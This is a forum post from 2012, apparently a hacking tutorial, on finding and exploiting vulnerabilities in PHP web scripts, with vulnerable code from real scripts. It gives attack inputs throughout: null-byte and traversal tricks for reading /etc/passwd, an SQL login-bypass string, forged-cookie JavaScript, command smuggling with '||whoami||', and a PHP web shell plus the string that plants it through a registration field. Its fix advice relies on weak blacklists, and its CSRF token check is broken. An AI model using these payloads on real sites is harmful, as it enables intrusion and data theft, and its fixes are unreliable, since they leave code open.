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Finding vulnerabilities in PHP scripts FULL ( with examples )

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Finding vulnerabilities in PHP scripts FULL ( with examples )

Post by Admin on Tue Aug 07, 2012 4:23 am

In this tutorial I will show you how you can find vulnerabilities in php scripts.I will not explain

how to exploit the vulnerabilities,it is pretty easy and you can find info around the web.All the

examples without the basic example of each category was founded in different scripts.
2) First,install Apache,PHP and MySQL on your computer.Addionally you can install phpMyAdmin.

You can install WAMP server for example,it has all in one..Most vulnerabilities need special conditions

to work.So you will need to set up properly the PHP configuration file (php.ini) .I will show you what

configuration I use and why :

safe_mode = off ( a lot of shit cannot be done with this on )

disabled_functions = N/A ( no one,we want all )

register_globals = on ( we can set variables by request )

allow_url_include = on ( for lfi/rfi )

allow_url_fopen = on ( for lfi/rfi )

magic_quotes_gpc = off ( this will escape ‘ “ \ and NUL’s with a backslash and we don’t want that )

short_tag_open = on ( some scripts are using short tags,better on )

file_uploads = on ( we want to upload )

display_errors = on ( we want to see the script errors,maybe some undeclared variables? )

How to proceed : First,create a database to be used by different scripts.Install the script on

localhost and start the audit over the source code.If you found something open the web browser and

test it,maybe you are wrong.

3) Remote File Inclusion

- Tips : You can use the NULLBYTE and ? trick.

You can use HTTPS and FTP to bypass filters ( http filtered )

In PHP is 4 functions through you can include code.

require – require() is identical to include() except upon failure it will produce a fatal E_ERROR level error.

require_once – is identical to require() except PHP will check if the
file has already been included, and if so, not include (require) it
again.

include – includes and evaluates the specified file.

include_once - includes and evaluates the specified file during the execution of the script.

3.0 – Basic example

- Tips : some scripts don’t accept “http” in variables,”http” word is forbbiden so

you can use “https” or “ftp”.

- Code snippet from test.php

———————————————–

<?php

$pagina=$_GET['pagina'];

include $pagina;

?>

———————————————–

- If we access the page we got some errors and some warnings( not pasted ) :

Notice: Undefined index: pagina in C:\wamp\www\test.php on line 2

- We can see here that “pagina” variable is undeclared.We can set any value to “pagina” variable.Example :

[You must be registered and logged in to see this link.]

Now I will show why some people use ? and %00 after the link to the evil script.

# The “%00″

- Code snippet from test.php

———————————————–

<?php

$pagina=$_GET['pagina'];

include $pagina.’.php’;

?>

———————————————–

- So if we will request

[You must be registered and logged in to see this link.]

Will not work because the script will try to include [You must be registered and logged in to see this link.]

So we will add a NULLBYTE ( %00 ) and all the shit after nullbyte will not be taken in

consideration.Example :

[You must be registered and logged in to see this link.]

The script will successfully include our evilscript and will throw to junk the things

after the nullbyte.

# The “?”

- Code snippet from test.php

———————————————–

<?php

$pagina=$_GET['pagina'];

include $pagina.’logged=1′;

?>

———————————————–

And the logged=1 will become like a variable.But better use nullbyte.Example :

[You must be registered and logged in to see this link.]

The evilscript will be included succesfully.

3.1 – Simple example

Now an example from a script.

- Code snippet from index.php

—————————————————-

if (isset($_REQUEST["main_content"])){

$main_content = $_REQUEST["main_content"];

} else if (isset($_SESSION["main_content"])){

$main_content = $_SESSION["main_content"];

}

…………………..etc………………

ob_start();

require_once($main_content);

—————————————————-

We can see that “main_content” variable is requested by $_REQUEST method.The attacker can

set any value that he want. Below the “main_content” variable is include.So if we make the

following request :

[You must be registered and logged in to see this link.]

Our evil script will be successfully included.

3.2 – How to fix

Simple way : Don’t allow special chars in variables.Simple way : filter the slash “/” .

Another way : filter “http” , “https” , “ftp” and “smb”.

4) Local File Inclusion

- Tips : You can use the NULLBYTE and ? trick.

../ mean a directory up

On Windows systems we can use “..\” instead of “../” .The “..\” will become “..%5C” ( urlencoded ).

The same functions which let you to include (include,include_once,require,require_once) .

4.0 – Basic example

- Code snippet from test.php

———————————–

<?php

$pagina=$_GET['pagina'];

include ‘/pages/’.$pagina;

?>

———————————–

Now,we can not include our script because we can not include remote files.We can include only

local files as you see.So if we make the following request :

[You must be registered and logged in to see this link.]

The script will include “/pages/../../../../../../etc/passwd” successfully.

You can use the %00 and ? .The same story.

4.1 – Simple example

- Code snippet from install/install.php

————————————-

if(empty($_GET["url"]))

$url = ‘step_welcome.php’;

else

$url = $_GET["url"];

………….etc………….

<p><? include(‘step/’.$url) ?></p>

————————————-

We can see that “url” variable is injectable.If the “url” variable is not set

(is empty) the script will include “step_welcome.php” else will include the

variable set by the attacker.

So if we do the following request :

[You must be registered and logged in to see this link.]

The “etc/passwd” file will be succesfully included.

4.2 – How to fix

Simple way : Don’t allow special chars in variables.Simple way : filter the dot “.”

Another way : Filter “/” , “\” and “.” .

5) Local File Disclosure/Download

- Tips : Through this vulnerability you can read the content of files,not include.

Some functions which let you to read files :

file_get_contents — Reads entire file into a string

readfile — Outputs a file

file — Reads entire file into an array

fopen — Opens file or URL

highlight_file — Syntax highlighting of a file.Prints out or returns a syntax

highlighted version of the code contained in filename using the

colors defined in the built-in syntax highlighter for PHP.

show_source — Alias of highlight_file()

5.0 – Basic example

- Code snippet from test.php

————————————–

<?php

$pagina=$_GET['pagina'];

readfile($pagina);

?>

————————————–

The readfile() function will read the content of the specified file.So if we do the following request :

[You must be registered and logged in to see this link.]

The content of etc/passwd will be outputed NOT included.

5.1 – Simple example

- Code snippet from download.php

———————————————————————————–

$file = $_SERVER["DOCUMENT_ROOT"]. $_REQUEST['file'];

header(“Pragma: public”);

header(“Expires: 0″);

header(“Cache-Control: must-revalidate, post-check=0, pre-check=0″);

header(“Content-Type: application/force-download”);

header( “Content-Disposition: attachment; filename=”.basename($file));

//header( “Content-Description: File Transfer”);

@readfile($file);

die();

———————————————————————————–

The “file” variable is unsecure.We see in first line that it is requested by $_REQUEST method.

And the file is disclosed by readfile() function.So we can see the content of an arbitrary file.

If we make the following request :

[You must be registered and logged in to see this link.]

So we can succesfully read the “etc/passwd” file.

5.2 – How to fix

Simple way : Don’t allow special chars in variables.Simple way : filter the dot “.”

Another way : Filter “/” , “\” and “.” .

6) SQL Injection

- Tips : If the user have file privileges you can read files.

If the user have file privileges and you find a writable directory and magic_quotes_gpc = off

you can upload you code into a file.

6.0 – Basic example

- Code snippet from test.php

———————————————————————————-

<?php

$id = $_GET['id'];

$result = mysql_query( “SELECT name FROM members WHERE id = ‘$id’”);

?>

———————————————————————————-

The “id” variable is not filtered.We can inject our SQL code in “id” variable.Example :

[You must be registered and logged in to see this link.]

And we get the “etc/passwd” file if magic_quotes = off ( escaping ‘ ) and users have

file privileges.

6.1 – Simple example

- Code snippet from house/listing_view.php

—————————————————————————————————————————–

$id = $_GET['itemnr'];

require_once($home.”mysqlinfo.php”);

$query = “SELECT title, type, price, bedrooms, distance, address, phone, comments, handle, image from Rentals where id=$id”;

$result = mysql_query($query);

if(mysql_num_rows($result)){

$r = mysql_fetch_array($result);

—————————————————————————————————————————–

We see that “id” variable value is the value set for “itemnr” and is not filtered in any way.

So we can inject our code.Lets make a request :

[You must be registered and logged in to see this link.]

And we get the email and the password from the users table.

6.2 – SQL Injection Login Bypass

- Code snippet from /admin/login.php

——————————————————————————————————————————

$postbruger = $_POST['username'];

$postpass = md5($_POST['password']);

$resultat = mysql_query(“SELECT * FROM ” . $tablestart . “login WHERE brugernavn = ‘$postbruger’ AND password = ‘$postpass’”)

or die(“<p>” . mysql_error() . “</p>\n”);

——————————————————————————————————————————

The variables isn’t properly checked.We can bypass this login.Lets inject the following username and password :

username : admin ‘ or ‘ 1=1

password : sirgod

We logged in.Why?Look,the code will become

———————————————————————————————————————————

$resultat = mysql_query(“SELECT * FROM ” . $tablestart . “login WHERE brugernavn = ‘admin’ ‘ or ‘ 1=1 AND password = ‘sirgod’”)

———————————————————————————————————————————

Login bypassed.The username must be an existent username.

6.3 – How to fix

Simple way : Don’t allow special chars in variables.For numeric variables

use (int) ,example $id=(int)$_GET['id'];

Another way : For non-numeric variables : filter all special chars used in

SQLI : – , . ( ) ‘ ” _ + / *

7) Insecure Cooke Handling

- Tips : Write the code in the URLbar,don’t use a cookie editor for this.

7.0 – Basic example

- Code snippet from test.php

—————————————————————

if($_POST['password'] == $thepass) {

setcookie(“is_user_logged”,”1″);

} else { die(“Login failed!”); }

………… etc ……………..

if($_COOKIE['is_user_logged']==”1″)

{ include “admin.php”; else { die(‘not logged’); }

—————————————————————

Something interesting here.If we set to the “is_user_logged” variable

from cookie value “1″ we are logged in.Example :

jdocument.cookie = “is_user_logged=1; path=/”;

So practically we are logged in,we pass the check and we can access the admin panel.

7.1 – Simple example

- Code snippet from admin.php

—————————————————————-

if ($_COOKIE[PHPMYBCAdmin] == ”) {

if (!$_POST[login] == ‘login’) {

die(“Please Login:<BR><form method=post><input type=password

name=password><input type=hidden value=login name=login><input

type=submit></form>”);

} elseif($_POST[password] == $bcadminpass) {

setcookie(“PHPMYBCAdmin”,”LOGGEDIN”, time() + 60 * 60);

header(“Location: admin.php”); } else { die(“Incorrect”); }

}

—————————————————————-

Code looks exploitable.We can set a cookie value that let us to bypass the login

and tell to the script that we are already logged in.Example :

jdocument.cookie = “PHPMYBCAdmin=LOGGEDIN; path=/”;document.cookie = “1246371700; path=/”;

What is 1246371700? Is the current time() echo’ed + 360.

7.2 – How to fix

Simple way : The most simple and eficient way : use SESSIONS .

matrix Remote Command Execution

- Tips : If in script is used exec() you can’t see the command output(but the command is executed)

until the result isn’t echo’ed from script.

You can use AND operator ( || ) if the script execute more than one command .

In PHP are some functions that let you to execute commands :

exec — Execute an external program

passthru — Execute an external program and display raw output

shell_exec — Execute command via shell and return the complete output as a string

system — Execute an external program and display the output

8.0 – Basic example

- Code snippet from test.php

———————————

<?php

$cmd=$_GET['cmd'];

system($cmd);

?>

———————————

So if we make the following request :

[You must be registered and logged in to see this link.]

The command will be executed and the result will be outputed.

8.1 – Simple example

- Code snippet from dig.php

——————————————————————————————-

$status = $_GET['status'];

$ns = $_GET['ns'];

$host = $_GET['host'];

$query_type = $_GET['query_type']; // ANY, MX, A , etc.

$ip = $_SERVER['REMOTE_ADDR'];

$self = $_SERVER['PHP_SELF'];

…………………… etc ……………………

$host = trim($host);

$host = strtolower($host);

echo(“<span class=\”plainBlue\”><b>Executing : <u>dig @$ns $host $query_type</u></b><br>”);

echo ‘<pre>’;

system (“dig @$ns $host $query_type”);

——————————————————————————————-

The “ns” variable is unfiltered and can be specified by the attacker.An attacker can use any command

that he want through this variable.

Lets make a request :

[You must be registered and logged in to see this link.]

The injection will fail.Why?The executed command will be : dig whoami sirgod.com NS and

will not work of course.Lets do something a little bit tricky.We have the AND operator

( || ) and we will use it to separe the commands.Example :

[You must be registered and logged in to see this link.]

Our command will be executed.The command become “dig ||whoami|| sirgod.net NS”.

8.2 – Advanced example

- Code snippet from add_reg.php

——————————————————-

$user = $_POST['user'];

$pass1 = $_POST['pass1'];

$pass2 = $_POST['pass2'];

$email1 = $_POST['email1'];

$email2 = $_POST['email2'];

$location = $_POST['location'];

$url = $_POST['url'];

$filename = “./sites/”.$user.”.php”;

……………….etc………………….

$html = “<?php

\$regdate = \”$date\”;

\$user = \”$user\”;

\$pass = \”$pass1\”;

\$email = \”$email1\”;

\$location = \”$location\”;

\$url = \”$url\”;

?>”;

$fp = fopen($filename, ‘a+’);

fputs($fp, $html) or die(“Could not open file!”);

——————————————————-

We can see that the script creates a php file in “sites” directory( ourusername.php ).

The script save all the user data in that file so we can inject our evil code into one

field,I choose the “location” variable.

So if we register as an user with the location (set the “location” value) :

<?php system($_GET['cmd']); ?>

the code inside sites/ourusername.php will become :

————————————————-

<?php

$regdate = “13 June 2009, 4:16 PM”;

$user = “pwned”;

$pass = “pwned”;

$email = “pwned@yahoo.com”;

$location = “<?php system($_GET['cmd']); ?>”;

$url = “http://google.ro”;

?>

————————————————-

So we will get an parse error.Not good.We must inject a proper code to get the result that we want.

Lets inject this code :

\”;?><?php system(\$_GET['cmd']);?><?php \$xxx=\”Very Happy

So the code inside sites/ourusername.php will become :

————————————————————–

<?php

$regdate = “13 June 2009, 4:16 PM”;

$user = “pwned”;

$pass = “pwned”;

$email = “pwned@yahoo.com”;

$location = “”;?><?php system($_GET['cmd']);?><?php $xxx=”Very Happy”;

$url = “http://google.ro”;

?>

————————————————————–

and we will have no error.Why?See the code :

$location = “”;?><?php system($_GET['cmd']);?><?php $xxx=”Very Happy”;

Lets split it :

——————————-

$location = “”;

?>

<?php system($_GET['cmd']);?>

<?php $xxx=”Very Happy”;

——————————-

We set the location value to “”,close the first php tags,open the tags

again,wrote our evil code,close the tags and open other and add a variable

“xxx” because we dont want any error.I wrote that code because I want no

error,can be modified to be small but will give some errors(will not

stop us to execute commands but looks ugly).

So if we make the following request :

[You must be registered and logged in to see this link.]

And our command will be succesfully executed.

8.3 – How to fix

Simple way : Don’t allow user input .

Another way : Use escapeshellarg() and escapeshellcmd() functions .

Example : $cmd=escapeshellarg($_GET’cmd’]);

9) Remote Code Execution

- Tips : You must inject valid PHP code including terminating statements ( ; ) .

9.0 – Basic example

- Code snippet from test.php

———————————–

<?php

$code=$_GET['code'];

eval($code);

?>

———————————–

The “eval” function evaluate a string as PHP code.So in this case we are able to execute

our PHP code.Examples :

[You must be registered and logged in to see this link.]

[You must be registered and logged in to see this link.]

And we will see the output of the PHP code injected by us.

9.1 – Simple example

- Code snippet from system/services/init.php

————————————————

$conf = array_merge($conf,$confweb);

}

@eval(stripslashes($_REQUEST['anticode']));

if ( $_SERVER['HTTP_CLIENT_IP'] )

————————————————

We see that the “anticode” is requested by $_REQUEST method and the coder

“secured” the input with “stripslashes” which is useless here,we don’t need

slashes to execute our php code only if we want to include a URL.So we can

inject our PHP code.Example :

[You must be registered and logged in to see this link.]

Great,injection done,phpinfo() result printed.No include because slashes are

removed,but we can use system() or another function to execute commands.

9.2 – How to fix

Simple way : Don’t allow “;” and the PHP code will be invalid.

Another way : Don’t allow any special char like “(” or “)” etc.

10) Cross-Site Scripting

- Tips : You can use alot of vectors,can try alot of bypass methods,you cand

find them around the web.

10.0 – Basic example

- Code snippet from test.php

———————————

<?php

$name=$_GET['name'];

print $name;

?>

———————————

The input is not filtered,an attacker can inject JavaScript code.Example :

[You must be registered and logged in to see this link.]

A popup with XSS message will be displayed.JavaScript code succesfully executed.

10.1 – Another example

- Code snippet from test.php

——————————————-

<?php

$name=addslashes($_GET['name']);

print ‘<table name=”‘.$name.’”></table>’;

?>

——————————————-

Not an advanced example,only a bit complicated.

[You must be registered and logged in to see this link.]

Why this vector?We put ” because we must close the ” from the “name” atribut

of the “table” tag and > to close the “table” tag.Why String.fromCharCode?Because

we want to bypass addslashes() function.Injection done.

10.2 – Simple example

- Code snippet from modules.php

—————————————————————————

if (isset($name)) {

……………….. etc…………….

} else {

die(“Le fichier modules/”.$name.”/”.$mod_file.”.php est inexistant”);

—————————————————————————

The “name” variable is injectable,input is not filtered,so we can inject

with ease JavaScript code.Example :

[You must be registered and logged in to see this link.]

10.3 – How to fix

Simple way : Use htmlentities() or htmlspecialchars() functions.

Example : $name=htmlentities($_GET['name']);

Another way : Filter all special chars used for XSS ( a lot ).

The best way is the first method.

11) Authentication Bypass

- Tips : Look deep in the scripts,look in the admin directories,

maybe are not protected,also look for undefined variables

like “login” or “auth”.

11.0 – Basic example

I will provide a simple example of authentication bypass

via login variable.

- Code snippet from test.php

———————————

<?php

if ($logged==true) {

echo ‘Logged in.’; }

else {

print ‘Not logged in.’;

}

?>

———————————

Here we need register_gloabals = on . I will talk about php.ini

settings a bit later in this tutorial.If we set the value of $logged

variable to 1 the if condition will be true and we are logged in.

Example :

[You must be registered and logged in to see this link.]

And we are logged in.

11.1 – Via login variable

- Code snippet from login.php

————————————————————————————

if ($login_ok)

{

$_SESSION['loggato'] = true;

echo “<p>$txt_pass_ok</p>”;

echo”<div align=’center’><a href=’index.php’>$txt_view_entry</a> |

<a href=’admin.php’>$txt_delete-$txt_edit</a> | <a href=’install.php’>$txt_install

</a></div>”;

}

————————————————————————————

Lets see.If the “login_ok” variable is TRUE ( 1 ) the script set us a SESSION who

tell to the script that we are logged in.So lets set the “login_ok” variable to TRUE.

Example :

[You must be registered and logged in to see this link.]

Now we are logged in.

11.2 – Unprotected Admin CP

You couln’t belive this but some PHP scrips don’t protect the admin

control panel : no login,no .htaccess,nothing.So we simply we go to

the admin panel directory and we take the control of the website.

Example :

[You must be registered and logged in to see this link.]

We accessed the admin panel with a simple request.

11.3 – How to fix

- Login variable bypass : Use a REAL authentication system,don’t check the

login like that,use SESSION verification.Example :

if($_SESSION['logged']==1) {

echo ‘Logged in’; }

else { echo ‘Not logged in’;

}

- Unprotected Admin CP : Use an authentication system or use .htaccess to

allow access from specific IP’s or .htpasswd to

request an username and a password for admin CP.

Example :

.htaccess :

order deny, allow

deny from all

allow from 127.0.0.1

.htpasswd :

AuthUserFile /the/path/.htpasswd

AuthType Basic

AuthName “Admin CP”

Require valid-user

and /the/path/.htpasswd

sirgod:$apr1$wSt1u…$6yvagxWk.Ai2bD6s6O9iQ.

12) Insecure Permissions

Tips : Look deep into the files,look if the script request to be

logged in to do something,maybe the script don’t request.

Watch out for insecure permissions,maybe you can do admin

things without login.

12.0 – Basic example

We are thinking at a script who let the admin to have a lookup in

the users database through a file placed in /admin directory.That

file is named…hmmm : db_lookup.php.

- Code snippet from admin/db_lookup.php

——————————————–

<?php

// Lookup in the database

readfile(‘protected/usersdb.txt’);

?>

——————————————–

Lets think.We cannot access the “protected” directory because

is .htaccess’ed.But look at this file,no logged-in check,nothing.

So if we acces :

[You must be registered and logged in to see this link.]

We can see the database.Remember,this is only an example created by

me,not a real one,you can find this kind of vulnerabilities in scripts.

12.1 – Read the users/passwords

Oh yeah,some coders are so stupid.They save the usernames and passwords

in text files,UNPROTECTED.A simple example from a script :

[You must be registered and logged in to see this link.]

And we read the file,the usernames and passwords are there.

12.2 – Download Backups

Some scripts have database backup functions,some are safe,some are not safe.

I will show you a real script example :

- Code snippet from /adminpanel/phpmydump.php

——————————————————————————–

function mysqlbackup($host,$dbname, $uid, $pwd, $structure_only, $crlf) {

$con=@mysql_connect(“localhost”,$uid, $pwd) or die(“Could not connect”);

$db=@mysql_select_db($dbname,$con) or die(“Could not select db”);

………………………… etc ……………………..

mysqlbackup($host,$dbname,$uname,$upass,$structure_only,$crlf);

——————————————————————————–

After a lof of code the function is called.I don’t pasted the entire code

because is huge.I analyzed the script,no login required,no check,nothing.So

if we access the file directly the download of the backup will start.Example :

[You must be registered and logged in to see this link.]

Now we have the database backup saved in our computer.

12.3 – INC files

Some scripts saves important data in INC files.Usually in INC files is PHP

code containing database configuration.The INC files can be viewed in

browser even they contain PHP code.So a simple request will be enough to

access and read the file.Example :

[You must be registered and logged in to see this link.]

Now we have the database connection details.Look deep in scripts,is more

scripts who saves important data into INC files.

12.4 – How to fix

- Basic example : Check if the admin is logged in,if not,redirect.

- Read the users/passwords : Save the records in a MySQL database

or in a protected file/directory.

- Download Backups : Check if the admin is logged in,if not,redirect.

- INC files : Save the configuration in proper files,like .php or

protect the directory with an .htaccess file.

13) Cross Site Request Forgery

- Tips : Through CSRF you can change the admin password,is not

so inofensive.

Can be used with XSS,redirected from XSS.

13.0 – Basic example

- Code snippet from test.php

—————————————–

<?php

check_auth();

if(isset($_GET['news']))

{ unlink(‘files/news’.$news.’.txt’); }

else {

die(‘File not deleted’); }

?>

—————————————–

In this example you will see what is CSRF and how it works.In the “files”

directory are saved the news written by the author.The news are saved like

“news1.txt”,”news2.txt” etc. So the admin can delete the news.The news that

he want to delete will be specified in “news” variable.If he want to delete

the news1.txt the value of “news” will be “1″.We cannot execute this without

admin permissions,look,the script check if we are logged in.

I will show you an example.If we request :

[You must be registered and logged in to see this link.]

The /news/news1.txt file will be deleted.The script directly delete the file

without any notice.So we can use this to delete a file.All we need is to trick

the admin to click our evil link and the file specified by us in the “news”

variable will be deleted.

13.1 – Simple example

In a way the codes below are included in the index.php file ,I

will not paste all the includes,there are a lot.

- Code snippet from includes/pages/admin.php

——————————————————————–

if ($_GET['act'] == ”) {

include “includes/pages/admin/home.php”;

} else {

include “includes/pages/admin/” . $_GET['act'] . “.php”;

——————————————————————–

Here we can see how the “includes/pages/admin/members.php” is included in

this file.If “act=members” the file below will be included.

- Code snippet from includes/pages/admin/members.php

———————————————————————————————-

if ($_GET['func'] == ‘delete’) {

$del_id = $_GET['id'];

$query2121 = “select ROLE from {$db_prefix}members WHERE ID=’$del_id’”;

$result2121 = mysql_query($query2121) or die(“delete.php – Error in query: $query2121″);

while ($results2121 = mysql_fetch_array($result2121)) {

$their_role = $results2121['ROLE'];

}

if ($their_role != ’1′) {

mysql_query(“DELETE FROM {$db_prefix}members WHERE id=’$del_id’”) or die(mysql_error

());

———————————————————————————————-

We can see here that if “func=delete” will be called by URL,the script will

delete from the database a user with the specified ID ( $id ) without any

confirmation.Example :

[You must be registered and logged in to see this link.]

The script check if the admin is logged in so if we trick the admin to click

our evil link the user who have the specified ID in the database will be deleted

without any confirmation.

13.2 – How to fix

- Simple way : Use tokens.At each login,generate a random token and save it

in the session.Request the token in URL to do administrative

actions,if the token missing or is wrong,don’t execute the

action.I will show you only how to to check if the token

is present and is correct.Example :

——————————————————-

<?php

check_auth();

if(isset($_GET['news']) && $token=$_SESSION['token'])

{ unlink(‘files/news’.$news.’.txt’); }

else {

die(‘Error.’); }

?>

——————————————————-

The request will look like this one :

[You must be registered and logged in to see this link.][RANDOM_TOKEN]

So this request will be fine,the news will be deleted.

- Another way : Do some complicated confirmations or request a password

to do administrative actions.

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